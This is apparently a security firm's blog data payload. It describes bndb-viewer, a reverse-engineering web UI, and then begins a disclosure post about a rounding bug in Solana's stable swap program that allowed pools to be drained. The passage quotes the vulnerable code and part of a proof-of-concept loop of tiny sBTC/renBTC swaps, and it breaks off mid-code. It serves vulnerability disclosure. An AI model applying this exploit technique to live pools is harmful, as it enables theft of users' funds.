[{"data":1,"prerenderedAt":163027},["ShallowReactive",2],{"blog-/blog/2026-04-16-bndb-viewer":3,"featured-blog-posts":248},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"tags":11,"onBlogPage":14,"body":15,"_type":242,"_id":243,"_source":244,"_file":245,"_stem":246,"_extension":247},"/blog/2026-04-16-bndb-viewer","blog",false,"","bndb-viewer: a web UI for Binary Ninja databases","An interactive web frontend for exploring Binary Ninja .bndb files, with AI-assisted Rust type recovery.","2026-04-16",[12,13],"tools","reverse engineering",true,{"type":16,"children":17,"toc":237},"root",[18,35,42,114,120,133,138,144,157,231],{"type":19,"tag":20,"props":21,"children":22},"element","p",{},[23,26,33],{"type":24,"value":25},"text","Reverse engineering Rust binaries is painful: stripped symbols, mangled names, opaque struct layouts. We built ",{"type":19,"tag":27,"props":28,"children":30},"code",{"className":29},[],[31],{"type":24,"value":32},"bndb-viewer",{"type":24,"value":34}," to make the loop tighter — read the decompile in a browser, resolve a variable's provenance with one keystroke, define a Rust struct and watch the binary update in place.",{"type":19,"tag":36,"props":37,"children":39},"h2",{"id":38},"what-it-does",[40],{"type":24,"value":41},"What it does",{"type":19,"tag":43,"props":44,"children":45},"ul",{},[46,58,68,86,96],{"type":19,"tag":47,"props":48,"children":49},"li",{},[50,56],{"type":19,"tag":51,"props":52,"children":53},"strong",{},[54],{"type":24,"value":55},"Decompile / MLIL / disasm",{"type":24,"value":57}," views with token-level highlighting",{"type":19,"tag":47,"props":59,"children":60},{},[61,66],{"type":19,"tag":51,"props":62,"children":63},{},[64],{"type":24,"value":65},"F-key",{"type":24,"value":67},": resolve any variable to its symbolic origin (constant / call return / pass-by-ref clobber / function arg)",{"type":19,"tag":47,"props":69,"children":70},{},[71,76,78,84],{"type":19,"tag":51,"props":72,"children":73},{},[74],{"type":24,"value":75},"Shift+Y",{"type":24,"value":77},": paste Rust struct source, compile it via ",{"type":19,"tag":27,"props":79,"children":81},{"className":80},[],[82],{"type":24,"value":83},"rustlayout",{"type":24,"value":85}," (the actual Rust compiler), define it in the BinaryView, assign it to a variable — decompiler updates instantly with field names",{"type":19,"tag":47,"props":87,"children":88},{},[89,94],{"type":19,"tag":51,"props":90,"children":91},{},[92],{"type":24,"value":93},"T-key",{"type":24,"value":95},": hand selected lines to a Sonnet agent that produces a Rust snippet, var map, and inferred struct definitions, validated against the binary's access pattern",{"type":19,"tag":47,"props":97,"children":98},{},[99,104,106,112],{"type":19,"tag":51,"props":100,"children":101},{},[102],{"type":24,"value":103},"Inline type view",{"type":24,"value":105},": click a ",{"type":19,"tag":27,"props":107,"children":109},{"className":108},[],[110],{"type":24,"value":111},"struct Foo",{"type":24,"value":113}," token, see fields without leaving the function",{"type":19,"tag":36,"props":115,"children":117},{"id":116},"architecture",[118],{"type":24,"value":119},"Architecture",{"type":19,"tag":20,"props":121,"children":122},{},[123,125,131],{"type":24,"value":124},"The viewer's a Vue 3 SPA. Two data backends behind a single ",{"type":19,"tag":27,"props":126,"children":128},{"className":127},[],[129],{"type":24,"value":130},"ApiClient",{"type":24,"value":132}," interface: a live mode talking to a Python+Binary Ninja backend, and a snapshot mode that reads embedded JSON. The snapshot below is captured from a session against a stripped Rust example — no live server needed.",{"type":19,"tag":32,"props":134,"children":137},{"height":135,"snapshot":136},"640px","mut-ref",[],{"type":19,"tag":36,"props":139,"children":141},{"id":140},"try-it",[142],{"type":24,"value":143},"Try it",{"type":19,"tag":20,"props":145,"children":146},{},[147,149,155],{"type":24,"value":148},"The snapshot above is read-only — mutations show a toast. The full viewer (live mode) is open source: ",{"type":19,"tag":27,"props":150,"children":152},{"className":151},[],[153],{"type":24,"value":154},"git@osec:renato-osec/cchax.git",{"type":24,"value":156},". Run with:",{"type":19,"tag":158,"props":159,"children":163},"pre",{"className":160,"code":161,"language":162,"meta":7,"style":7},"language-bash shiki shiki-themes slack-dark","./run.sh /path/to/your.bndb --port 8081\ncd web && npm run dev\n","bash",[164],{"type":19,"tag":27,"props":165,"children":166},{"__ignoreMap":7},[167,196],{"type":19,"tag":168,"props":169,"children":172},"span",{"class":170,"line":171},"line",1,[173,179,185,190],{"type":19,"tag":168,"props":174,"children":176},{"style":175},"--shiki-default:#DCDCAA",[177],{"type":24,"value":178},"./run.sh",{"type":19,"tag":168,"props":180,"children":182},{"style":181},"--shiki-default:#CE9178",[183],{"type":24,"value":184}," /path/to/your.bndb",{"type":19,"tag":168,"props":186,"children":187},{"style":181},[188],{"type":24,"value":189}," --port",{"type":19,"tag":168,"props":191,"children":193},{"style":192},"--shiki-default:#B5CEA8",[194],{"type":24,"value":195}," 8081\n",{"type":19,"tag":168,"props":197,"children":199},{"class":170,"line":198},2,[200,205,210,216,221,226],{"type":19,"tag":168,"props":201,"children":202},{"style":175},[203],{"type":24,"value":204},"cd",{"type":19,"tag":168,"props":206,"children":207},{"style":181},[208],{"type":24,"value":209}," web",{"type":19,"tag":168,"props":211,"children":213},{"style":212},"--shiki-default:#E6E6E6",[214],{"type":24,"value":215}," && ",{"type":19,"tag":168,"props":217,"children":218},{"style":175},[219],{"type":24,"value":220},"npm",{"type":19,"tag":168,"props":222,"children":223},{"style":181},[224],{"type":24,"value":225}," run",{"type":19,"tag":168,"props":227,"children":228},{"style":181},[229],{"type":24,"value":230}," dev\n",{"type":19,"tag":232,"props":233,"children":234},"style",{},[235],{"type":24,"value":236},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":198,"depth":198,"links":238},[239,240,241],{"id":38,"depth":198,"text":41},{"id":116,"depth":198,"text":119},{"id":140,"depth":198,"text":143},"markdown","content:blog:2026-04-16-bndb-viewer.md","content","blog/2026-04-16-bndb-viewer.md","blog/2026-04-16-bndb-viewer","md",[249,2811,3149,6700,11061,16197,26472,27904,28667,32896,37923,43355,44512,48003,58398,65127,66966,68676,73341,87240,89960,94749,97188,99533,105319,121139,129439,139363,144641,154034,156371],{"_path":250,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":251,"description":252,"image":253,"date":257,"isFeatured":14,"tags":258,"onBlogPage":14,"body":261,"_type":242,"_id":2808,"_source":244,"_file":2809,"_stem":2810,"_extension":247},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":254,"width":255,"height":256},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[259,260],"solana","report",{"type":16,"children":262,"toc":2802},[263,279,284,289,298,304,309,314,323,331,336,341,349,354,359,762,772,777,1327,1332,1340,1348,1354,1359,1364,1369,1376,1388,1393,1405,1645,1650,1655,1661,1666,1671,1715,1720,1728,1733,1738,1743,1888,1901,2018,2032,2040,2054,2062,2075,2080,2092,2100,2122,2740,2746,2751,2763,2776,2783,2788,2793,2798],{"type":19,"tag":20,"props":264,"children":265},{},[266,268,277],{"type":24,"value":267},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":19,"tag":269,"props":270,"children":274},"a",{"href":271,"rel":272},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[273],"nofollow",[275],{"type":24,"value":276},"spl-token-swap",{"type":24,"value":278},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":19,"tag":20,"props":280,"children":281},{},[282],{"type":24,"value":283},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":19,"tag":20,"props":285,"children":286},{},[287],{"type":24,"value":288},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":19,"tag":20,"props":290,"children":291},{},[292],{"type":19,"tag":293,"props":294,"children":295},"em",{},[296],{"type":24,"value":297},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":19,"tag":36,"props":299,"children":301},{"id":300},"discovery",[302],{"type":24,"value":303},"Discovery",{"type":19,"tag":20,"props":305,"children":306},{},[307],{"type":24,"value":308},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":19,"tag":20,"props":310,"children":311},{},[312],{"type":24,"value":313},"After a while, he noticed something weird..",{"type":19,"tag":315,"props":316,"children":317},"blockquote",{},[318],{"type":19,"tag":20,"props":319,"children":320},{},[321],{"type":24,"value":322},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":19,"tag":158,"props":324,"children":326},{"code":325},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[327],{"type":19,"tag":27,"props":328,"children":329},{"__ignoreMap":7},[330],{"type":24,"value":325},{"type":19,"tag":20,"props":332,"children":333},{},[334],{"type":24,"value":335},"Somehow, we were getting tokens from nothing?",{"type":19,"tag":20,"props":337,"children":338},{},[339],{"type":24,"value":340},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":19,"tag":158,"props":342,"children":344},{"code":343},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[345],{"type":19,"tag":27,"props":346,"children":347},{"__ignoreMap":7},[348],{"type":24,"value":343},{"type":19,"tag":20,"props":350,"children":351},{},[352],{"type":24,"value":353},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":19,"tag":20,"props":355,"children":356},{},[357],{"type":24,"value":358},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":19,"tag":158,"props":360,"children":364},{"code":361,"language":362,"meta":7,"className":363,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n","rust","language-rust shiki shiki-themes slack-dark",[365],{"type":19,"tag":27,"props":366,"children":367},{"__ignoreMap":7},[368,377,413,448,558,664,692,705,723,744,753],{"type":19,"tag":168,"props":369,"children":370},{"class":170,"line":171},[371],{"type":19,"tag":168,"props":372,"children":374},{"style":373},"--shiki-default:#6A9955",[375],{"type":24,"value":376}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":19,"tag":168,"props":378,"children":379},{"class":170,"line":198},[380,386,391,397,403,408],{"type":19,"tag":168,"props":381,"children":383},{"style":382},"--shiki-default:#569CD6",[384],{"type":24,"value":385}," let",{"type":19,"tag":168,"props":387,"children":388},{"style":382},[389],{"type":24,"value":390}," mut",{"type":19,"tag":168,"props":392,"children":394},{"style":393},"--shiki-default:#9CDCFE",[395],{"type":24,"value":396}," y",{"type":19,"tag":168,"props":398,"children":400},{"style":399},"--shiki-default:#D4D4D4",[401],{"type":24,"value":402}," =",{"type":19,"tag":168,"props":404,"children":405},{"style":393},[406],{"type":24,"value":407}," d_val",{"type":19,"tag":168,"props":409,"children":410},{"style":212},[411],{"type":24,"value":412},";\n",{"type":19,"tag":168,"props":414,"children":416},{"class":170,"line":415},3,[417,423,428,433,438,443],{"type":19,"tag":168,"props":418,"children":420},{"style":419},"--shiki-default:#C586C0",[421],{"type":24,"value":422}," for",{"type":19,"tag":168,"props":424,"children":425},{"style":393},[426],{"type":24,"value":427}," _",{"type":19,"tag":168,"props":429,"children":430},{"style":382},[431],{"type":24,"value":432}," in",{"type":19,"tag":168,"props":434,"children":435},{"style":192},[436],{"type":24,"value":437}," 0",{"type":19,"tag":168,"props":439,"children":440},{"style":399},[441],{"type":24,"value":442},"..",{"type":19,"tag":168,"props":444,"children":445},{"style":212},[446],{"type":24,"value":447},"ITERATIONS {\n",{"type":19,"tag":168,"props":449,"children":451},{"class":170,"line":450},4,[452,457,462,467,472,477,482,487,491,496,501,506,511,515,520,525,530,535,539,544,548,553],{"type":19,"tag":168,"props":453,"children":454},{"style":382},[455],{"type":24,"value":456}," let",{"type":19,"tag":168,"props":458,"children":459},{"style":212},[460],{"type":24,"value":461}," (",{"type":19,"tag":168,"props":463,"children":464},{"style":393},[465],{"type":24,"value":466},"y_new",{"type":19,"tag":168,"props":468,"children":469},{"style":212},[470],{"type":24,"value":471},", ",{"type":19,"tag":168,"props":473,"children":474},{"style":393},[475],{"type":24,"value":476},"_",{"type":19,"tag":168,"props":478,"children":479},{"style":212},[480],{"type":24,"value":481},") ",{"type":19,"tag":168,"props":483,"children":484},{"style":399},[485],{"type":24,"value":486},"=",{"type":19,"tag":168,"props":488,"children":489},{"style":212},[490],{"type":24,"value":461},{"type":19,"tag":168,"props":492,"children":493},{"style":175},[494],{"type":24,"value":495},"checked_u8_power",{"type":19,"tag":168,"props":497,"children":498},{"style":212},[499],{"type":24,"value":500},"(",{"type":19,"tag":168,"props":502,"children":503},{"style":399},[504],{"type":24,"value":505},"&",{"type":19,"tag":168,"props":507,"children":508},{"style":393},[509],{"type":24,"value":510},"y",{"type":19,"tag":168,"props":512,"children":513},{"style":212},[514],{"type":24,"value":471},{"type":19,"tag":168,"props":516,"children":517},{"style":192},[518],{"type":24,"value":519},"2",{"type":19,"tag":168,"props":521,"children":522},{"style":212},[523],{"type":24,"value":524},")",{"type":19,"tag":168,"props":526,"children":527},{"style":399},[528],{"type":24,"value":529},"?.",{"type":19,"tag":168,"props":531,"children":532},{"style":175},[533],{"type":24,"value":534},"checked_add",{"type":19,"tag":168,"props":536,"children":537},{"style":212},[538],{"type":24,"value":500},{"type":19,"tag":168,"props":540,"children":541},{"style":393},[542],{"type":24,"value":543},"c",{"type":19,"tag":168,"props":545,"children":546},{"style":212},[547],{"type":24,"value":524},{"type":19,"tag":168,"props":549,"children":550},{"style":399},[551],{"type":24,"value":552},"?",{"type":19,"tag":168,"props":554,"children":555},{"style":212},[556],{"type":24,"value":557},")\n",{"type":19,"tag":168,"props":559,"children":561},{"class":170,"line":560},5,[562,567,572,576,581,585,589,593,597,601,605,609,613,617,622,626,630,635,639,644,648,652,656,660],{"type":19,"tag":168,"props":563,"children":564},{"style":399},[565],{"type":24,"value":566}," .",{"type":19,"tag":168,"props":568,"children":569},{"style":175},[570],{"type":24,"value":571},"checked_ceil_div",{"type":19,"tag":168,"props":573,"children":574},{"style":212},[575],{"type":24,"value":500},{"type":19,"tag":168,"props":577,"children":578},{"style":175},[579],{"type":24,"value":580},"checked_u8_mul",{"type":19,"tag":168,"props":582,"children":583},{"style":212},[584],{"type":24,"value":500},{"type":19,"tag":168,"props":586,"children":587},{"style":399},[588],{"type":24,"value":505},{"type":19,"tag":168,"props":590,"children":591},{"style":393},[592],{"type":24,"value":510},{"type":19,"tag":168,"props":594,"children":595},{"style":212},[596],{"type":24,"value":471},{"type":19,"tag":168,"props":598,"children":599},{"style":192},[600],{"type":24,"value":519},{"type":19,"tag":168,"props":602,"children":603},{"style":212},[604],{"type":24,"value":524},{"type":19,"tag":168,"props":606,"children":607},{"style":399},[608],{"type":24,"value":529},{"type":19,"tag":168,"props":610,"children":611},{"style":175},[612],{"type":24,"value":534},{"type":19,"tag":168,"props":614,"children":615},{"style":212},[616],{"type":24,"value":500},{"type":19,"tag":168,"props":618,"children":619},{"style":393},[620],{"type":24,"value":621},"b",{"type":19,"tag":168,"props":623,"children":624},{"style":212},[625],{"type":24,"value":524},{"type":19,"tag":168,"props":627,"children":628},{"style":399},[629],{"type":24,"value":529},{"type":19,"tag":168,"props":631,"children":632},{"style":175},[633],{"type":24,"value":634},"checked_sub",{"type":19,"tag":168,"props":636,"children":637},{"style":212},[638],{"type":24,"value":500},{"type":19,"tag":168,"props":640,"children":641},{"style":393},[642],{"type":24,"value":643},"d_val",{"type":19,"tag":168,"props":645,"children":646},{"style":212},[647],{"type":24,"value":524},{"type":19,"tag":168,"props":649,"children":650},{"style":399},[651],{"type":24,"value":552},{"type":19,"tag":168,"props":653,"children":654},{"style":212},[655],{"type":24,"value":524},{"type":19,"tag":168,"props":657,"children":658},{"style":399},[659],{"type":24,"value":552},{"type":19,"tag":168,"props":661,"children":662},{"style":212},[663],{"type":24,"value":412},{"type":19,"tag":168,"props":665,"children":667},{"class":170,"line":666},6,[668,673,678,683,687],{"type":19,"tag":168,"props":669,"children":670},{"style":419},[671],{"type":24,"value":672}," if",{"type":19,"tag":168,"props":674,"children":675},{"style":393},[676],{"type":24,"value":677}," y_new",{"type":19,"tag":168,"props":679,"children":680},{"style":399},[681],{"type":24,"value":682}," ==",{"type":19,"tag":168,"props":684,"children":685},{"style":393},[686],{"type":24,"value":396},{"type":19,"tag":168,"props":688,"children":689},{"style":212},[690],{"type":24,"value":691}," {\n",{"type":19,"tag":168,"props":693,"children":695},{"class":170,"line":694},7,[696,701],{"type":19,"tag":168,"props":697,"children":698},{"style":419},[699],{"type":24,"value":700}," break",{"type":19,"tag":168,"props":702,"children":703},{"style":212},[704],{"type":24,"value":412},{"type":19,"tag":168,"props":706,"children":708},{"class":170,"line":707},8,[709,714,719],{"type":19,"tag":168,"props":710,"children":711},{"style":212},[712],{"type":24,"value":713}," } ",{"type":19,"tag":168,"props":715,"children":716},{"style":419},[717],{"type":24,"value":718},"else",{"type":19,"tag":168,"props":720,"children":721},{"style":212},[722],{"type":24,"value":691},{"type":19,"tag":168,"props":724,"children":726},{"class":170,"line":725},9,[727,732,736,740],{"type":19,"tag":168,"props":728,"children":729},{"style":393},[730],{"type":24,"value":731}," y",{"type":19,"tag":168,"props":733,"children":734},{"style":399},[735],{"type":24,"value":402},{"type":19,"tag":168,"props":737,"children":738},{"style":393},[739],{"type":24,"value":677},{"type":19,"tag":168,"props":741,"children":742},{"style":212},[743],{"type":24,"value":412},{"type":19,"tag":168,"props":745,"children":747},{"class":170,"line":746},10,[748],{"type":19,"tag":168,"props":749,"children":750},{"style":212},[751],{"type":24,"value":752}," }\n",{"type":19,"tag":168,"props":754,"children":756},{"class":170,"line":755},11,[757],{"type":19,"tag":168,"props":758,"children":759},{"style":212},[760],{"type":24,"value":761}," }\n",{"type":19,"tag":20,"props":763,"children":764},{},[765,770],{"type":19,"tag":293,"props":766,"children":767},{},[768],{"type":24,"value":769},"approximate",{"type":24,"value":771},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":19,"tag":20,"props":773,"children":774},{},[775],{"type":24,"value":776},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":19,"tag":158,"props":778,"children":780},{"code":779,"language":362,"meta":7,"className":363,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[781],{"type":19,"tag":27,"props":782,"children":783},{"__ignoreMap":7},[784,792,833,841,871,899,916,932,958,974,990,1006,1023,1040,1053,1062,1085,1094,1103,1172,1180,1210,1218,1250,1258,1318],{"type":19,"tag":168,"props":785,"children":786},{"class":170,"line":171},[787],{"type":19,"tag":168,"props":788,"children":789},{"style":373},[790],{"type":24,"value":791},"// from sbtc to renbtc\n",{"type":19,"tag":168,"props":793,"children":794},{"class":170,"line":198},[795,800,805,809,813,818,823,829],{"type":19,"tag":168,"props":796,"children":797},{"style":419},[798],{"type":24,"value":799},"for",{"type":19,"tag":168,"props":801,"children":802},{"style":393},[803],{"type":24,"value":804}," i",{"type":19,"tag":168,"props":806,"children":807},{"style":382},[808],{"type":24,"value":432},{"type":19,"tag":168,"props":810,"children":811},{"style":192},[812],{"type":24,"value":437},{"type":19,"tag":168,"props":814,"children":815},{"style":399},[816],{"type":24,"value":817}," ..",{"type":19,"tag":168,"props":819,"children":820},{"style":192},[821],{"type":24,"value":822}," 50",{"type":19,"tag":168,"props":824,"children":826},{"style":825},"--shiki-default:#4EC9B0",[827],{"type":24,"value":828},"u8",{"type":19,"tag":168,"props":830,"children":831},{"style":212},[832],{"type":24,"value":691},{"type":19,"tag":168,"props":834,"children":835},{"class":170,"line":415},[836],{"type":19,"tag":168,"props":837,"children":838},{"style":373},[839],{"type":24,"value":840}," // create swap transaction\n",{"type":19,"tag":168,"props":842,"children":843},{"class":170,"line":450},[844,848,852,857,861,866],{"type":19,"tag":168,"props":845,"children":846},{"style":382},[847],{"type":24,"value":385},{"type":19,"tag":168,"props":849,"children":850},{"style":382},[851],{"type":24,"value":390},{"type":19,"tag":168,"props":853,"children":854},{"style":393},[855],{"type":24,"value":856}," swap_instruction",{"type":19,"tag":168,"props":858,"children":859},{"style":399},[860],{"type":24,"value":402},{"type":19,"tag":168,"props":862,"children":863},{"style":175},[864],{"type":24,"value":865}," swap",{"type":19,"tag":168,"props":867,"children":868},{"style":212},[869],{"type":24,"value":870},"(\n",{"type":19,"tag":168,"props":872,"children":873},{"class":170,"line":560},[874,879,884,889,894],{"type":19,"tag":168,"props":875,"children":876},{"style":399},[877],{"type":24,"value":878}," &",{"type":19,"tag":168,"props":880,"children":881},{"style":212},[882],{"type":24,"value":883},"spl_token",{"type":19,"tag":168,"props":885,"children":886},{"style":399},[887],{"type":24,"value":888},"::",{"type":19,"tag":168,"props":890,"children":891},{"style":175},[892],{"type":24,"value":893},"id",{"type":19,"tag":168,"props":895,"children":896},{"style":212},[897],{"type":24,"value":898},"(),\n",{"type":19,"tag":168,"props":900,"children":901},{"class":170,"line":666},[902,906,911],{"type":19,"tag":168,"props":903,"children":904},{"style":399},[905],{"type":24,"value":878},{"type":19,"tag":168,"props":907,"children":908},{"style":393},[909],{"type":24,"value":910},"swap_pubkey",{"type":19,"tag":168,"props":912,"children":913},{"style":212},[914],{"type":24,"value":915},",\n",{"type":19,"tag":168,"props":917,"children":918},{"class":170,"line":694},[919,923,928],{"type":19,"tag":168,"props":920,"children":921},{"style":399},[922],{"type":24,"value":878},{"type":19,"tag":168,"props":924,"children":925},{"style":393},[926],{"type":24,"value":927},"swap_authority_pubkey",{"type":19,"tag":168,"props":929,"children":930},{"style":212},[931],{"type":24,"value":915},{"type":19,"tag":168,"props":933,"children":934},{"class":170,"line":707},[935,939,944,949,954],{"type":19,"tag":168,"props":936,"children":937},{"style":399},[938],{"type":24,"value":878},{"type":19,"tag":168,"props":940,"children":941},{"style":393},[942],{"type":24,"value":943},"test_account_signer",{"type":19,"tag":168,"props":945,"children":946},{"style":399},[947],{"type":24,"value":948},".",{"type":19,"tag":168,"props":950,"children":951},{"style":175},[952],{"type":24,"value":953},"pubkey",{"type":19,"tag":168,"props":955,"children":956},{"style":212},[957],{"type":24,"value":898},{"type":19,"tag":168,"props":959,"children":960},{"class":170,"line":725},[961,965,970],{"type":19,"tag":168,"props":962,"children":963},{"style":399},[964],{"type":24,"value":878},{"type":19,"tag":168,"props":966,"children":967},{"style":393},[968],{"type":24,"value":969},"sbtc_user_account",{"type":19,"tag":168,"props":971,"children":972},{"style":212},[973],{"type":24,"value":915},{"type":19,"tag":168,"props":975,"children":976},{"class":170,"line":746},[977,981,986],{"type":19,"tag":168,"props":978,"children":979},{"style":399},[980],{"type":24,"value":878},{"type":19,"tag":168,"props":982,"children":983},{"style":393},[984],{"type":24,"value":985},"sbtc_reserve",{"type":19,"tag":168,"props":987,"children":988},{"style":212},[989],{"type":24,"value":915},{"type":19,"tag":168,"props":991,"children":992},{"class":170,"line":755},[993,997,1002],{"type":19,"tag":168,"props":994,"children":995},{"style":399},[996],{"type":24,"value":878},{"type":19,"tag":168,"props":998,"children":999},{"style":393},[1000],{"type":24,"value":1001},"renbtc_reserve",{"type":19,"tag":168,"props":1003,"children":1004},{"style":212},[1005],{"type":24,"value":915},{"type":19,"tag":168,"props":1007,"children":1009},{"class":170,"line":1008},12,[1010,1014,1019],{"type":19,"tag":168,"props":1011,"children":1012},{"style":399},[1013],{"type":24,"value":878},{"type":19,"tag":168,"props":1015,"children":1016},{"style":393},[1017],{"type":24,"value":1018},"renbtc_user_account",{"type":19,"tag":168,"props":1020,"children":1021},{"style":212},[1022],{"type":24,"value":915},{"type":19,"tag":168,"props":1024,"children":1026},{"class":170,"line":1025},13,[1027,1031,1036],{"type":19,"tag":168,"props":1028,"children":1029},{"style":399},[1030],{"type":24,"value":878},{"type":19,"tag":168,"props":1032,"children":1033},{"style":393},[1034],{"type":24,"value":1035},"admin_fee_account_sbtc_to_ren",{"type":19,"tag":168,"props":1037,"children":1038},{"style":212},[1039],{"type":24,"value":915},{"type":19,"tag":168,"props":1041,"children":1043},{"class":170,"line":1042},14,[1044,1049],{"type":19,"tag":168,"props":1045,"children":1046},{"style":192},[1047],{"type":24,"value":1048}," 1",{"type":19,"tag":168,"props":1050,"children":1051},{"style":212},[1052],{"type":24,"value":915},{"type":19,"tag":168,"props":1054,"children":1056},{"class":170,"line":1055},15,[1057],{"type":19,"tag":168,"props":1058,"children":1059},{"style":192},[1060],{"type":24,"value":1061}," 2\n",{"type":19,"tag":168,"props":1063,"children":1065},{"class":170,"line":1064},16,[1066,1071,1075,1080],{"type":19,"tag":168,"props":1067,"children":1068},{"style":212},[1069],{"type":24,"value":1070}," )",{"type":19,"tag":168,"props":1072,"children":1073},{"style":399},[1074],{"type":24,"value":948},{"type":19,"tag":168,"props":1076,"children":1077},{"style":175},[1078],{"type":24,"value":1079},"unwrap",{"type":19,"tag":168,"props":1081,"children":1082},{"style":212},[1083],{"type":24,"value":1084},"();\n",{"type":19,"tag":168,"props":1086,"children":1088},{"class":170,"line":1087},17,[1089],{"type":19,"tag":168,"props":1090,"children":1091},{"emptyLinePlaceholder":14},[1092],{"type":24,"value":1093},"\n",{"type":19,"tag":168,"props":1095,"children":1097},{"class":170,"line":1096},18,[1098],{"type":19,"tag":168,"props":1099,"children":1100},{"style":373},[1101],{"type":24,"value":1102}," // nonce\n",{"type":19,"tag":168,"props":1104,"children":1106},{"class":170,"line":1105},19,[1107,1112,1116,1121,1125,1130,1134,1138,1143,1148,1153,1158,1162,1167],{"type":19,"tag":168,"props":1108,"children":1109},{"style":393},[1110],{"type":24,"value":1111}," swap_instruction",{"type":19,"tag":168,"props":1113,"children":1114},{"style":399},[1115],{"type":24,"value":948},{"type":19,"tag":168,"props":1117,"children":1118},{"style":212},[1119],{"type":24,"value":1120},"data",{"type":19,"tag":168,"props":1122,"children":1123},{"style":399},[1124],{"type":24,"value":948},{"type":19,"tag":168,"props":1126,"children":1127},{"style":175},[1128],{"type":24,"value":1129},"append",{"type":19,"tag":168,"props":1131,"children":1132},{"style":212},[1133],{"type":24,"value":500},{"type":19,"tag":168,"props":1135,"children":1136},{"style":399},[1137],{"type":24,"value":505},{"type":19,"tag":168,"props":1139,"children":1140},{"style":382},[1141],{"type":24,"value":1142},"mut",{"type":19,"tag":168,"props":1144,"children":1145},{"style":175},[1146],{"type":24,"value":1147}," vec!",{"type":19,"tag":168,"props":1149,"children":1150},{"style":212},[1151],{"type":24,"value":1152},"[",{"type":19,"tag":168,"props":1154,"children":1155},{"style":393},[1156],{"type":24,"value":1157},"i",{"type":19,"tag":168,"props":1159,"children":1160},{"style":212},[1161],{"type":24,"value":471},{"type":19,"tag":168,"props":1163,"children":1164},{"style":393},[1165],{"type":24,"value":1166},"extranonce",{"type":19,"tag":168,"props":1168,"children":1169},{"style":212},[1170],{"type":24,"value":1171},"]);\n",{"type":19,"tag":168,"props":1173,"children":1175},{"class":170,"line":1174},20,[1176],{"type":19,"tag":168,"props":1177,"children":1178},{"emptyLinePlaceholder":14},[1179],{"type":24,"value":1093},{"type":19,"tag":168,"props":1181,"children":1183},{"class":170,"line":1182},21,[1184,1188,1192,1197,1201,1205],{"type":19,"tag":168,"props":1185,"children":1186},{"style":382},[1187],{"type":24,"value":385},{"type":19,"tag":168,"props":1189,"children":1190},{"style":382},[1191],{"type":24,"value":390},{"type":19,"tag":168,"props":1193,"children":1194},{"style":393},[1195],{"type":24,"value":1196}," 